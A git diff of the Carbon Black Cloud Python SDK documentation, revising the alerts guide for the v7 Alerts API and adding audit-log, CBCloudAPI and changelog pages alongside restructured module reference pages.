alerts = api.select(Alert).set_minimum_severity(7)[:5] + ... print("Results for Org {}".format(org)) >>> for alert in alerts: ... print(alert.id, alert.device_os, alert.device_name, alert.category) - ... - ... - -You can also read from a csv file with values that match the profile names in your credentials.cbc file. +You can also read from a csv file by using values that match the profile names in a credentials.cbc file. >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert + >>> from cbc_sdk.platform import Alert >>> import csv - >>> file = open ("data.csv", "r", encoding='utf-8-sig') + >>> file = open ("data.csv", "r", encoding="utf-8-sig") >>> org_list = list(csv.reader(file, delimiter=",")) >>> file.close() >>> for org in org_list: - ... org = ''.join(org) + ... org = "".join(org) ... api = CBCloudAPI(profile=org) - ... alerts = api.select(BaseAlert).set_minimum_severity(7)[:5] - ... print('Results for Org {}'.format(org)) + ... alerts = api.select(Alert).set_minimum_severity(7)[:5] + ... print("Results for Org {}".format(org)) >>> for alert in alerts: ... print(alert.id, alert.device_os, alert.device_name, alert.category) - ... - ... -Retrieving of Carbon Black Analytics Alerts (CBAnalyticsAlert) --------------------------------------------------------------- -The Carbon Black Analytics Alerts can retrieve us information about different events -which are related to our alerts. Those events contain metadata such as ``process_name`` and ``process_cmdline``. -The full list of all the attributes can be found in the -:py:mod:`EnrichedEvent() ` class. +Retrieving Observations to Provide Context About an Alert +--------------------------------------------------------- -.. code-block:: python +All alert types other than Watchlist Alerts have associated Observations that provide more information +about the interesting events that contributed to the identification of an Alert. - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import CBAnalyticsAlert - >>> api = CBCloudAPI(profile='sample') - >>> alert = api.select(CBAnalyticsAlert).first() - >>> events = alert.get_events() - >>> events - [ @ https://, > @ https://, ...] - >>> print(events[0].get_details()) - ... - EnrichedEvent object, bound to - ------------------------------------------------------------------------------- - - alert_category: ['MONITORED'] - alert_id: [''] - associated_alert_id: [''] - backend_timestamp: 2021-09-20T10:06:06.728Z - device_external_ip: - device_group_id: 0 - device_id: - device_installed_by: bit9qa - device_internal_ip: - device_location: OFFSITE - device_name: - device_os: WINDOWS - device_os_version: Windows 10 x64 - device_policy: perf_events_do_not_delete_policy - device_policy_id: - device_target_priority: MEDIUM - device_timestamp: 2021-09-20T10:04:02.290Z - document_guid: - enriched: True - enriched_event_type: NETWORK - event_description: - event_id: - event_network_inbound: False - event_network_local_ipv4: - event_network_location: San Jose,CA,United States - event_network_protocol: TCP - event_network_remote_ipv4: - event_network_remote_port: - event_report_code: SUB_RPT_NONE - event_threat_score: [0] - event_type: netconn - ingress_time: 1632132315179 - legacy: True - netconn_domain: - netconn_inbound: False - netconn_ipv4: - netconn_local_ipv4: - netconn_local_port: - netconn_location: San Jose,CA,United States - netconn_port: - netconn_protocol: PROTO_TCP - org_id: - parent_effective_reputation: LOCAL_WHITE - parent_effective_reputation_source: CERT - parent_guid: --00000280-00000000-1d79a95c52... - parent_hash: ['... - parent_name: c:\windows\system32\services.exe - parent_pid: 640 - parent_reputation: NOT_LISTED - process_cmdline: ['C:\\Windows\\System32\\svchost.exe -k utcsvc ... - process_cmdline_length: [44] - process_effective_reputation: TRUSTED_WHITE_LIST - process_effective_reputation_source: APPROVED_DATABASE - process_guid: --00000b44-00000000-1d79a95c67... - process_hash: ['', '... - process_name: c:\windows\system32\svchost.exe - process_pid: [2884] - process_reputation: ADAPTIVE_WHITE_LIST - process_sha256: ... - process_start_time: 2021-08-26T6:16:50.162Z - process_username: ['NT AUTHORITY\\SYSTEM'] - triggered_alert_id: ['--8af4-d6d0-e4bbe7917dff'] - ttp: ['PORTSCAN', 'MITRE_T1046_NETWORK_SERVICE_SCANN... - ... +The Alert v7 object (supported in SDK 1.5.0 onwards) has significantly more metadata when compared to the earlier +Alerts v6 API (in the SDK version 1.4.3 and earlier). Therefore, the enrichment might not be required depending on your use case. +New fields include process, child process, and parent process commandlines and IP addresses for network events. Find the +complete list of fields in the +`Alert Search Fields `_ +Observations are part of +`Investigate Search Fields `_. +Available fields are identified by the route "Observation". +Methods on the Observation Class, which can be found here: :py:mod:`Observation() ` -Watchlist Alerts ----------------- +For the entire Observation details including fields marked with ``OBSERVATION***`` in the `Investigate Search Fields `_ +then use ``get_details()`` on the Observation object. -Process Details -^^^^^^^^^^^^^^^ +.. code-block:: python + + >>> from cbc_sdk import CBCloudAPI + >>> from cbc_sdk.platform import CBAnalyticsAlert + >>> api = CBCloudAPI(profile="sample") + >>> alert = api.select(Alert).add_criteria("type", "CB_ANALYTICS").first() + >>> observations = alert.get_observations() + >>> observations + [ @ https://defense.conferdeploy.net] + >>> print(observations[0]) + Observation object, bound to https://defense.conferdeploy.net. + ------------------------------------------------------------------------------ + alert_id: [list:1 item]: + [0]: 470147c9-d79b-3f01-2083-b30bc0c0629f + backend_timestamp: 2023-10-18T01:28:59.900Z + blocked_effective_reputation: KNOWN_MALWARE + blocked_hash: [list:1 item]: + [0]: 659e469f8dadcb6c32ab1641817ee57c327003dffa443c3... + blocked_name: c:\windows\system32\fltlib.dll + childproc_effective_reputation: KNOWN_MALWARE + childproc_effective_reputation_source: HASH_REP + childproc_hash: [list:1 item]: + [0]: 659e469f8dadcb6c32ab1641817ee57c327003dffa443c3... + ... truncated ... + + +Retrieving Processes to Provide Context About an Alert +------------------------------------------------------ + +You can retrieve process details on any Alert with a ``process_guid``. You can use list slicing +to retrieve the first ``n`` results (in the example, this value is ``10``). +The full list of attributes and methods are in the :py:mod:`Process() ` class. + +For the entire process details including fields marked with ``PROCESS***`` in the `Investigate Search Fields `_ +then use ``get_details()`` on the Process object. -You can retrieve each process details on each ``WatchlistAlert`` by using the example below. You can use list slicing -to retrieve the first ``n`` results, in the example below ``10``. The ``get_details()`` method would give us metadata -very similar to the one we've received by ``EnrichedEvent``. -The full list of attributes and methods can be seen in the :py:mod:`Process() ` class. .. code-block:: python @@ -222,21 +217,20 @@ The full list of attributes and methods can be seen in the :py:mod:`Process() >> api = CBCloudAPI(profile='sample') >>> alerts = api.select(WatchlistAlert)[:10] >>> for alert in alerts: - ... process = api.select(Process).where(process_guid=alert.original_document['process_guid']).first() - ... print(process.get_details()) - {'alert_category': ['OBSERVED', 'THREAT'], 'alert_id': ['06eca427-1e64-424..} - {'alert_category': ['OBSERVED', 'THREAT'], 'alert_id': ['2307bf6e-fd39-4b6..} - ... + ... process = alert.get_process() + ... print(process) + {'alert_id': ['0a3c45bf-fce6-4a63', '12030b8f-ce3f-48bd'], 'attack_tactic': 'TA0002' ..} + {'alert_id': ['02f6aecd-73d7-456d', 'e47c13dd-75a9-44de'], 'attack_tactic': 'TA0002' ..} + ... truncated ... Get Process Events ^^^^^^^^^^^^^^^^^^ -We could also fetch every event which corresponds with our Process, we can do so by calling ``process.events()``. +You can fetch every event that corresponds with a Process by calling ``process.events()``. .. note:: - Since calling the events could be really intensive task in the example below we are fetching just the first ``10`` - events. Be careful when calling ``all()``. - + Because calling the events can be an intensive task, in following example fetches only the first ``10`` + events. Be cautious when calling ``all()``. .. code-block:: python @@ -244,53 +238,121 @@ We could also fetch every event which corresponds with our Process, we can do so >>> from cbc_sdk.platform import WatchlistAlert, Process >>> api = CBCloudAPI(profile='sample') >>> alert = api.select(WatchlistAlert).first() - >>> process = api.select(Process).where(process_guid=alert.original_document['process_guid']).first() + >>> process = alert.get_process() >>> events = process.events()[:10] - >>> print(events[0].original_document['event_description']) # Note that I've striped the `` and `` tags which are also available in the response. + >>> print(events[0].event_description) # Note that I've stripped the `` and `` tags, which are also available in the response. 'The application c:\\program files (x86)\\google\\chrome\\application\\chrome.exe attempted to modify the memory of "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe", by calling the function "NtWriteVirtualMemory". The operation was successful.' ... - Device Control Alerts --------------------- -The Device Control Alerts are explained in the :doc:`device-control` guide. +Device Control Alerts are explained in the :doc:`device-control` guide. Container Runtime Alerts ------------------------ -These represent alerts for behavior noticed inside a Kubernetes container, which are based on network traffic and are -triggered by anomalies from the learned behavior of workloads or applications. For these events, the ``type`` will be -``CONTAINER_RUNTIME``, the ``device_id`` will always be 0, and the ``device_name``, ``device_os``, -``device_os_version``, and ``device_username`` will always be ``None``. Instead, the workload generating the alert will -be identified by the ``workload_id`` and ``workload_name`` attributes. +Container Runtime Alerts represent alerts for behavior that is noticed inside a Kubernetes container. These alerts are based on network traffic and are +triggered by anomalies from the learned behavior of workloads or applications. For these events, the ``type`` is +``CONTAINER_RUNTIME``. Additional fields such as ``connection_type`` and ``egress_group_name`` are also available. + +To see all available fields, filter Alert Types Supported to CONTAINER_RUNTIME on the +`Alert Search Fields `_. + +Alert Workflow +^^^^^^^^^^^^^^ + +The Alert Closure workflow enables Alert lifecycle management. + +An alert goes through the states of Open, In Progress, and Closed. Any transition can occur, including +from Closed back to Open or In Progress. + +The workflow leverages the alert search structure to specify the alerts to close. + +1. Use an Alert Search to specify which Alerts will have their status updated. + + * The request body is a search request and all alerts matching the request will be updated. + * Two common uses are to update one alert, or to update all alerts with a specific threat id. + * Any search request can be used as the criteria to select alerts to update the alert status. + + .. code-block:: python + >>> # This query will select only the alert with the specified id + >>> ALERT_ID = "id of the alert that you want to close" + >>> alert_query = api.select(Alert).add_criteria("id", [ALERT_ID]) + >>> # This query will select all alerts with the specified threat id. It is not used again in this example + >>> alert_query_for_threat = api.select(Alert).add_criteria("threat_id","CFED0B211ED09F8EC1C83D4F3FBF1709") + +2. Submit a job to update the status of Alerts. + + * The status can be ``OPEN``, ``IN PROGRESS`` or ``CLOSED`` (previously ``DISMISSED``). + * You may include a Closure Reason. + + .. code-block:: python + >>> # by calling update on the alert_query, the a request to change the status + >>> # for all alerts matching that criteria will be submitted + >>> job = alert_query.update("CLOSED", "RESOLVED", "NONE", "Setting to closed for SDK demo") + +3. The immediate response confirms that the job was successfully submitted. + + .. code-block:: python + >>> print("job.id = {}".format(job.id)) + job.id = 1234567 + +4. Use the :py:mod:`Job() cbc_sdk.platform.jobs.Job` class to determine when the update is complete. + + Use the Job object to wait until the Job has completed. The python script will wait while + the SDK polls to determine when the job is complete. + + .. code-block:: python + >>> completed_job = job.await_completion().result() + +5. Refresh the Alert Search to get the updated alert data into the SDK. + + .. code-block:: python + >>> alert.refresh() + >>> print("Status = {}, Expecting CLOSED".format(alert.workflow["status"])) + + +6. You can dismiss future Alerts that have the same threat id. + +Use the sequence of calls to update future alerts that have the same threat id. This sequence is usually used in conjunction with + with the alert closure; that is, you can use the dismiss future alerts call to close future occurrences and call an + alert closure to close current open alerts that have the threat id. + + .. code-block:: python + >>> alert_threat_query = api.select(Alert).add_criteria("threat_id","CFED0B211ED09F8EC1C83D4F3FBF1709") + >>> alert.dismiss_threat("threat remediation done", "testing dismiss_threat in the SDK") + >>> # To undo the dismissal, call update + >>> alert.update_threat("threat remediation un-done", "testing update_threat in the SDK") Migrating from Notifications to Alerts -------------------------------------- -The notifications are working on a subscription based principle and they require a ``SIEM`` key of authentication. -With that key you are subscribing to a certain criteria of alerts, note that only CB Analytics and Watchlist alerts -can be retrieved from the notifications API. +.. note:: + The Notifications API is deprecated, and deactivation is planned for 31 October 2024. + + For information about migrating from the API and alternative solutions, see + `IntegrationService notification v3 API Migration Guide `_ + +Notifications work on a subscription-based principle and they require a SIEM authentication key. +By using that key, you are subscribing to a certain criteria of alerts. As this is deprecated, new alert types +cannot be retrieved from the notifications API. -Please referer to `the official notes `_ in the Carbon Black's API website. +See `the official notes `_ in the Carbon Black API website. .. image:: _static/cbc_platform_notification_edit.png :alt: Editing a notification in the CBC Platform :align: center -Those settings shown in the screenshot can be replicated with the following code: - +You can replicate the settings shown in the screenshot by running the following search on Alerts: .. code-block:: python - >>> from cbc_sdk import CBCloudAPI - >>> from cbc_sdk.platform import BaseAlert - >>> from solrq import Q - >>> api = CBCloudAPI(profile='sample') - >>> alerts = api.select(BaseAlert).where("category:MONITORED or category:THREAT and policy_name:Standard").set_minimum_severity(7)[:5] - - -Advanced usage of alerts ------------------------- - -If you want near-real-time streaming of alerts we advise you to refer to our `Data Forwarder `_. + >>> from cbc_sdk.platform import Alert + >>> alerts = api.select(Alert).set_minimum_severity(7).\ + >>> add_criteria("type", ["CB_ANALYTICS", "DEVICE_CONTROL"]).\ + >>> add_criteria("device_policy", "Standard") + +High Volume and Streaming Solution for Alerts +--------------------------------------------- +For near-real-time streaming of alerts, see `Data Forwarder `_. diff --git a/docs/audit-log.rst b/docs/audit-log.rst new file mode 100644 index 000000000..e21b8dec4 --- /dev/null +++ b/docs/audit-log.rst @@ -0,0 +1,52 @@ +Audit Log Events +================ + +In the Carbon Black Cloud, *audit logs* are records of various organization-wide events, such as: + +* Log in attempts by users +* Updates to connectors +* Creation of connectors +* LiveResponse events + +The Audit Log API allows these records to be retrieved in JSON format, sorted by time in ascending order +(oldest records come first). The API call returns only *new* audit log records that have been added since +the last time the call was made using the same API Key ID. Once records have been returned, they are *cleared* +and will not be included in future responses. + +When reading audit log records using a *new* API key, the queue for reading audit logs will begin three days +earlier. This may lead to duplicate data if audit log records were previously read with a different API key. + +.. note:: + Future versions of the Carbon Black Cloud and this SDK will support a more flexible API for finding and retrieving + audit log records. This Guide will be rewritten to cover this when it is incorporated into the SDK. + +API Permissions +--------------- + +To call this API function, use a custom API key created with a role containing the ``READ`` permission on +``org.audits``. + +Example of API Usage +-------------------- + +.. code-block:: python + + import time + from cbc_sdk import CBCloudAPI + from cbc_sdk.platform import AuditLog + + cb = CBCloudAPI(profile='yourprofile') + running = True + + while running: + events_list = AuditLog.get_auditlogs(cb) + for event in events_list: + print(f"Event {event['eventId']}:") + for (k, v) in event.items(): + print(f"\t{k}: {v}") + # omitted: decide whether running should be set to False + if running: + time.sleep(5) + + +Check out the example script ``audit_log.py`` in the examples/platform directory on `GitHub `_. diff --git a/docs/cbc_sdk.audit_remediation.rst b/docs/cbc_sdk.audit_remediation.rst index a2eb38e39..a4a7939bd 100644 --- a/docs/cbc_sdk.audit_remediation.rst +++ b/docs/cbc_sdk.audit_remediation.rst @@ -1,29 +1,18 @@ Audit and Remediation Package -=================================== +***************************** -Submodules ----------- - -cbc\_sdk.audit\_remediation.base module +Base Module --------------------------------------- .. automodule:: cbc_sdk.audit_remediation.base :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.audit\_remediation.differential module +Differential Module ----------------------------------------------- .. automodule:: cbc_sdk.audit_remediation.differential :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.audit_remediation - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.cache.rst b/docs/cbc_sdk.cache.rst index dcfe5f2d7..90cac5401 100644 --- a/docs/cbc_sdk.cache.rst +++ b/docs/cbc_sdk.cache.rst @@ -1,21 +1,10 @@ Cache Package -====================== +************* -Submodules ----------- - -cbc\_sdk.cache.lru module +LRU Module ------------------------- .. automodule:: cbc_sdk.cache.lru :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.cache - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.cbcloudapi.rst b/docs/cbc_sdk.cbcloudapi.rst new file mode 100644 index 000000000..760753c16 --- /dev/null +++ b/docs/cbc_sdk.cbcloudapi.rst @@ -0,0 +1,66 @@ +The CBCloudAPI Object +********************* + +The ``CBCloudAPI`` object is the key object used in working with the Carbon Black Cloud. It represents the connection +to the Carbon Black Cloud server, to the specific organization to which you have access. It is used to search for +objects representing specific data items on the server, such as devices, alerts, policies, and so forth. It also has +a number of utility functions and properties providing access to additional functionality on the server, such as +:ref:`live-response`. + +A program using the Carbon Black Cloud SDK will start by creating a ``CBCloudAPI`` object, passing it the parameters +necessary to authenticate to the server. The authentication parameters may be specified as direct arguments when the +object is created, or may be provided by a credential provider (see :ref:`cbc_sdk.credential_providers`). This object +is then called upon for SDK operations, or passed as a parameter to other SDK functions. + +As the ``CBCloudAPI`` object relies upon REST calls to the server, it does not hold network connections open, and +hence need not be explicitly closed. + +CBCloudAPI Creation Examples +============================ + +Authenticate to the Carbon Black Cloud server with directly-supplied parameters: + +:: + + from cbc_sdk import CBCloudAPI + api = CBCloudAPI(url='https://defense.conferdeploy.net', token='ABCDEFGHIJKLMNOPQRSTUVWX/YZ12345678', + org_key='ABCD1234') + + # as an example, get the list of all watchlist alerts + from cbc_sdk.platform import WatchlistAlert + query = api.select(WatchlistAlert) + alerts_list = list(query) + +Authenticate to the Carbon Black Cloud server using a profile with the default credential provider: + +:: + + from cbc_sdk import CBCloudAPI + api = CBCloudAPI(profile='my_profile') + + # as an example, get the list of all watchlist alerts + from cbc_sdk.platform import WatchlistAlert + query = api.select(WatchlistAlert) + alerts_list = list(query) + +Authenticate to the Carbon Black Cloud server using a profile supplied by a different credential provider: + +:: + + from cbc_sdk import CBCloudAPI + from cbc_sdk.credentials import KeychainCredentialProvider + creds = KeychainCredentialProvider('keychain-to-use', 'my-username') + api = CBCloudAPI(profile='my_profile', credential_provider=creds) + + # as an example, get the list of all watchlist alerts + from cbc_sdk.platform import WatchlistAlert + query = api.select(WatchlistAlert) + alerts_list = list(query) + +Class Documentation +=================== + +.. autoclass:: cbc_sdk.rest_api.CBCloudAPI + :members: + :inherited-members: + :show-inheritance: diff --git a/docs/cbc_sdk.credential_providers.rst b/docs/cbc_sdk.credential_providers.rst index 7df2a4d01..714c014a8 100644 --- a/docs/cbc_sdk.credential_providers.rst +++ b/docs/cbc_sdk.credential_providers.rst @@ -1,61 +1,52 @@ -Credential Providers Package -====================================== +.. _cbc_sdk.credential_providers: -Submodules ----------- +Credential Providers Package +**************************** -cbc\_sdk.credential\_providers.aws\_sm\_credential\_provider module -------------------------------------------------------------------- +Default Module +--------------------------------------------- -.. automodule:: cbc_sdk.credential_providers.aws_sm_credential_provider +.. automodule:: cbc_sdk.credential_providers.default :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.credential\_providers.default module ---------------------------------------------- +AWS SM Credential Provider Module +------------------------------------------------------------------- -.. automodule:: cbc_sdk.credential_providers.default +.. automodule:: cbc_sdk.credential_providers.aws_sm_credential_provider :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.credential\_providers.environ\_credential\_provider module +Environ Credential Provider Module ------------------------------------------------------------------- .. automodule:: cbc_sdk.credential_providers.environ_credential_provider :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.credential\_providers.file\_credential\_provider module +File Credential Provider Module ---------------------------------------------------------------- .. automodule:: cbc_sdk.credential_providers.file_credential_provider :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.credential\_providers.keychain\_credential\_provider module +Keychain Credential Provider Module -------------------------------------------------------------------- .. automodule:: cbc_sdk.credential_providers.keychain_credential_provider :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.credential\_providers.registry\_credential\_provider module +Registry Credential Provider Module -------------------------------------------------------------------- .. automodule:: cbc_sdk.credential_providers.registry_credential_provider :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.credential_providers - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.endpoint_standard.rst b/docs/cbc_sdk.endpoint_standard.rst index 4995aca86..c542e5ac4 100644 --- a/docs/cbc_sdk.endpoint_standard.rst +++ b/docs/cbc_sdk.endpoint_standard.rst @@ -1,37 +1,26 @@ Endpoint Standard Package -=================================== +************************* -Submodules ----------- - -cbc\_sdk.endpoint\_standard.base module +Base Module --------------------------------------- .. automodule:: cbc_sdk.endpoint_standard.base :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.endpoint\_standard.recommendation module +Standard Recommendation Module ------------------------------------------------- .. automodule:: cbc_sdk.endpoint_standard.recommendation :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.endpoint\_standard.usb\_device\_control module +USB Device Control Module ------------------------------------------------------- .. automodule:: cbc_sdk.endpoint_standard.usb_device_control :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.endpoint_standard - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.enterprise_edr.rst b/docs/cbc_sdk.enterprise_edr.rst index 8010cfe4e..1e0ce1b74 100644 --- a/docs/cbc_sdk.enterprise_edr.rst +++ b/docs/cbc_sdk.enterprise_edr.rst @@ -1,37 +1,26 @@ Enterprise EDR Package -================================ +********************** -Submodules ----------- - -cbc\_sdk.enterprise\_edr.auth\_events module +Auth Events Module -------------------------------------------- .. automodule:: cbc_sdk.enterprise_edr.auth_events :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.enterprise\_edr.threat\_intelligence module +Threat Intelligence Module ---------------------------------------------------- .. automodule:: cbc_sdk.enterprise_edr.threat_intelligence :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.enterprise\_edr.ubs module +UBS Module ----------------------------------- .. automodule:: cbc_sdk.enterprise_edr.ubs :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.enterprise_edr - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.platform.rst b/docs/cbc_sdk.platform.rst index 57cff17a7..459691698 100644 --- a/docs/cbc_sdk.platform.rst +++ b/docs/cbc_sdk.platform.rst @@ -1,125 +1,130 @@ Platform Package -========================= +**************** -Submodules ----------- +Base Module +----------------------------- + +.. automodule:: cbc_sdk.platform.base + :members: + :inherited-members: + :show-inheritance: -cbc\_sdk.platform.alerts module +Alerts Module ------------------------------- .. automodule:: cbc_sdk.platform.alerts :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.base module ------------------------------ +Audit Module +------------------------------ -.. automodule:: cbc_sdk.platform.base +.. automodule:: cbc_sdk.platform.audit :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.devices module +Devices Module -------------------------------- .. automodule:: cbc_sdk.platform.devices :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.events module +Events Module ------------------------------- .. automodule:: cbc_sdk.platform.events :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.grants module +Grants Module ------------------------------- .. automodule:: cbc_sdk.platform.grants :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.jobs module +Jobs Module ----------------------------- .. automodule:: cbc_sdk.platform.jobs + :members: + :inherited-members: + :show-inheritance: + +Legacy Alerts Module +--------------------------------------- + +.. automodule:: cbc_sdk.platform.legacy_alerts :members: :undoc-members: :show-inheritance: -cbc\_sdk.platform.network\_threat\_metadata module +Network Threat Metadata Module -------------------------------------------------- .. automodule:: cbc_sdk.platform.network_threat_metadata :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.observations module +Observations Module ------------------------------------- .. automodule:: cbc_sdk.platform.observations :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.policies module +Policies Module --------------------------------- .. automodule:: cbc_sdk.platform.policies :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.policy\_ruleconfigs module +RuleConfigs Module -------------------------------------------- .. automodule:: cbc_sdk.platform.policy_ruleconfigs :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.processes module +Processes Module ---------------------------------- .. automodule:: cbc_sdk.platform.processes :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.reputation module +Reputation Module ----------------------------------- .. automodule:: cbc_sdk.platform.reputation :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.users module +Users Module ------------------------------ .. automodule:: cbc_sdk.platform.users :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.platform.vulnerability\_assessment module +Vulnerability Assessment Module -------------------------------------------------- .. automodule:: cbc_sdk.platform.vulnerability_assessment :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.platform - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.rst b/docs/cbc_sdk.rst index ecea29bb2..16a3e98f5 100644 --- a/docs/cbc_sdk.rst +++ b/docs/cbc_sdk.rst @@ -1,8 +1,8 @@ CBC SDK Package -================ +*************** Subpackages ------------ +=========== .. toctree:: :maxdepth: 4 @@ -16,84 +16,68 @@ Subpackages cbc_sdk.workload Submodules ----------- +========== -cbc\_sdk.base module +Base Module -------------------- .. automodule:: cbc_sdk.base :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.connection module +Connection Module -------------------------- .. automodule:: cbc_sdk.connection :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.credentials module +Credentials Module --------------------------- .. automodule:: cbc_sdk.credentials :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.errors module +Errors Module ---------------------- .. automodule:: cbc_sdk.errors :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.helpers module +Helpers Module ----------------------- .. automodule:: cbc_sdk.helpers :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.live\_response\_api module +Live Response API Module ----------------------------------- .. automodule:: cbc_sdk.live_response_api :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.rest\_api module -------------------------- - -.. automodule:: cbc_sdk.rest_api - :members: - :undoc-members: - :show-inheritance: - -cbc\_sdk.utils module +Utils Module --------------------- .. automodule:: cbc_sdk.utils :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.winerror module +WinError Module ------------------------ .. automodule:: cbc_sdk.winerror :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/cbc_sdk.workload.rst b/docs/cbc_sdk.workload.rst index 697390a05..d2b369406 100644 --- a/docs/cbc_sdk.workload.rst +++ b/docs/cbc_sdk.workload.rst @@ -1,37 +1,26 @@ Workload Package -========================= +***************** -Submodules ----------- - -cbc\_sdk.workload.nsx\_remediation module +NSX Remediation Module ----------------------------------------- .. automodule:: cbc_sdk.workload.nsx_remediation :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.workload.sensor\_lifecycle module +Sensor Lifecycle Module ------------------------------------------ .. automodule:: cbc_sdk.workload.sensor_lifecycle :members: - :undoc-members: + :inherited-members: :show-inheritance: -cbc\_sdk.workload.vm\_workloads\_search module +VM Workloads Search Module ---------------------------------------------- .. automodule:: cbc_sdk.workload.vm_workloads_search :members: - :undoc-members: - :show-inheritance: - -Module contents ---------------- - -.. automodule:: cbc_sdk.workload - :members: - :undoc-members: + :inherited-members: :show-inheritance: diff --git a/docs/changelog.rst b/docs/changelog.rst index 1eed5f34c..940d7cb18 100644 --- a/docs/changelog.rst +++ b/docs/changelog.rst @@ -1,5 +1,69 @@ Changelog ================================ +CBC SDK 1.5.0 - Released October 24, 2023 +----------------------------------------- + +**Alerts Update to use V7 API** + +The new Alerts V7 API will improve alert management and allow for easier management, consumption, and triage of alerts +in the Carbon Black Cloud. Alerts v7 API extends the capabilities with improved methods of retrieving alerts and added +functionality to manage alert workflow. + +**N.B.:** This change involves breaking changes to the SDK involving the core Alerts workflow. Please check your +existing code carefully before deploying this SDK upgrade. + +**Breaking Changes:** + +* Alerts V7: Certain changes are not compatible with code written to the old V6 API. For details, please see the + :ref:`Alert Migration Guide `. Breaking changes include: + + * Default Search Time Period is reduced to two weeks. + * For fields that do not exist in the Alerts V7 API, a ``FunctionalityDecommissioned`` exception is raised. + * ``get_events()`` method has been removed. + * All facet terms match the field names. + * Workflow has been rebuilt. + * Create Note returns a single ``Note`` instance instead of a list. + +* Official support for Python 3.7 has been dropped, since that version is now end-of-life. Added explicit testing + support for Python version 3.12. **N.B.:** End users should update their Python version to 3.8.x or greater. + +New Features: + +* Alerts V7: + + * Extended alert schema with additional metadata such as process command line and username, parent and child process + information, netconn data, additional device fields, MITRE categorization when available, and more + * Ability to mark alerts as “In Progress” + * Ability to mark alerts as True Positive or False Positive + * Additional fields available for both searching and faceting + * Enhanced note management with the ability to add notes to both individual alerts and threats (alerts grouped + by threat) + * Observed Alerts have been removed from the Alerts API as these events are not considered actionable threats. They + can now be retrieved via the Observations API. + +* External Devices: Added External Device Export and External Device Approvals Export. + +Updates: + +* Audit log requests have moved from ``CBCloudAPI`` into their own function entry point in the ``platform`` package. + The old function has been deprecated. +* Process search validation has been changed to use the V2 ``POST`` API rather than the old V1 ``GET`` API. +* ``CBCloudAPI.get_notifications()`` and ``CBCloudAPI.notification_listener()`` have been marked as deprecated. + +Documentation: + +* Added example script to poll for audit logs. +* ``CBCloudAPI`` documentation has been pulled out into its own page. +* Authentication, Getting Started, and Guides pages have been updated. +* Concepts page has been removed, and the information it contained has moved to other pages. +* New :ref:`Searching guide ` added. +* Update to left-hand sidebar to allow the Guides sub-listing to be collapsed. +* Porting guide has been updated to reflect the latest APIs. +* Live Response migration guide has been updated with links. +* ``README.md`` has been updated with better instructions for generating docs locally. +* ``CBCloudAPI`` and Devices documentation have been updated to better conform to new style guide for docstrings. + + CBC SDK 1.4.3 - Released June 26, 2023 -------------------------------------- diff --git a/docs/concepts.rst b/docs/concepts.rst deleted file mode 100644 index d1089cf1b..000000000 --- a/docs/concepts.rst +++ /dev/null @@ -1,595 +0,0 @@ -Concepts -================================ - -Queries ----------------------------------------- - -Generally, to retrieve information from your Carbon Black Cloud instance you will: - -1. `Create a Query <#create-queries-with-cbcloudapi-select>`_ -2. `Refine the Query <#refine-queries-with-where-and-and-or>`_ -3. `Execute the Query <#execute-a-query>`_ - -Create Queries with :func:`CBCloudAPI.select() ` 